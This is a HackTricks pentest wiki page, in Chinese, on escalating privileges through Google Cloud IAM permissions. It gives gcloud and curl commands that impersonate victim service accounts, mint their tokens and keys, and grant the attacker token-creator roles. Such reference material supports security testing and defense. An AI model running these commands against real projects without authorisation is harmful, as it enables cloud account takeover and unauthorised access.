GCP - IAM Privesc

Support HackTricks

IAM

在以下位置查找有关 IAM 的更多信息:

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

具有上述权限的攻击者将能够更新分配给您的角色,并为您提供对其他资源的额外权限,例如:

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

你可以在这里找到一个自动化创建、利用和清理漏洞环境的脚本,以及一个滥用此权限的python脚本。更多信息请查看原始研究

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

具有上述权限的攻击者将能够请求属于服务账户的访问令牌,因此可以请求比我们拥有更多权限的服务账户的访问令牌。

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

你可以在这里找到一个自动化脚本,用于创建、利用和清理漏洞环境,以及一个用于滥用此权限的python脚本这里。更多信息请查看原始研究

iam.serviceAccountKeys.create

具有上述权限的攻击者将能够为服务账户创建一个用户管理的密钥,这将允许我们以该服务账户的身份访问GCP。

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

你可以在这里找到一个自动化创建、利用和清理漏洞环境的脚本,并在这里找到一个滥用此权限的python脚本。更多信息请查看原始研究

注意,iam.serviceAccountKeys.update 不能修改 SA 的密钥,因为要做到这一点还需要 iam.serviceAccountKeys.create 权限。

iam.serviceAccounts.implicitDelegation

如果你对一个具有 iam.serviceAccounts.getAccessToken 权限的服务账户拥有 iam.serviceAccounts.implicitDelegation 权限,那么你可以使用 implicitDelegation 为该第三方服务账户创建一个令牌。以下是一个帮助解释的图表。

请注意,根据文档gcloud 的委托仅适用于使用 generateAccessToken() 方法生成令牌。因此,以下是如何直接使用 API 获取令牌的方法:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

你可以在这里找到一个脚本来自动化[创建、利用和清理漏洞环境],并在这里找到一个滥用此权限的python脚本。更多信息请查看原始研究

iam.serviceAccounts.signBlob

具有上述权限的攻击者将能够在GCP中签署任意负载。因此,可以创建SA的未签名JWT,然后将其作为blob发送以获取SA签署的JWT。更多信息请阅读此文

你可以在这里找到一个脚本来自动化[创建、利用和清理漏洞环境],并在这里这里找到滥用此权限的python脚本。更多信息请查看原始研究

iam.serviceAccounts.signJwt

具有上述权限的攻击者将能够签署格式良好的JSON web tokens (JWTs)。与前一种方法的区别在于,我们使用signJWT方法,它已经期望一个JWT,而不是让google签署包含JWT的blob。这使得使用更简单,但你只能签署JWT而不是任何字节。

你可以在这里找到一个脚本来自动化[创建、利用和清理漏洞环境],并在这里找到滥用此权限的python脚本。更多信息请查看原始研究

iam.serviceAccounts.setIamPolicy

具有上述权限的攻击者将能够向服务账户添加IAM策略。你可以滥用它来授予自己模拟服务账户所需的权限。在以下示例中,我们授予自己对感兴趣的SA的roles/iam.serviceAccountTokenCreator角色:

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

你可以找到一个脚本来自动化创建、利用和清理漏洞环境

iam.serviceAccounts.actAs

iam.serviceAccounts.actAs 权限类似于AWS 的 iam:PassRole 权限。它对于执行任务至关重要,比如启动 Compute Engine 实例,因为它授予“actAs”服务账户的能力,确保安全的权限管理。没有这个权限,用户可能会获得不当的访问权限。此外,利用iam.serviceAccounts.actAs涉及多种方法,每种方法都需要一组权限,这与其他只需要一种权限的方法形成对比。

服务账户模拟

模拟服务账户对于获取新的和更好的权限非常有用。你可以通过三种方式模拟另一个服务账户

  • 使用 RSA 私钥进行身份验证(上面已介绍)

  • 使用 Cloud IAM 策略进行授权(此处介绍)

  • 在 GCP 服务上部署作业(更适用于用户账户的妥协)

iam.serviceAccounts.getOpenIdToken

拥有上述权限的攻击者将能够生成一个 OpenID JWT。这些用于断言身份,并不一定对资源具有任何隐含的授权。

根据这篇有趣的文章,需要指明受众(你想用该令牌进行身份验证的服务),你将收到一个由 Google 签名的 JWT,指示服务账户和 JWT 的受众。

你可以生成一个 OpenIDToken(如果你有访问权限)使用:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

然后你可以用它来访问服务:

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

一些支持通过这种令牌进行身份验证的服务包括:

你可以在这里找到一个如何代表服务账户创建 OpenID 令牌的示例。

参考资料

支持 HackTricks

Last updated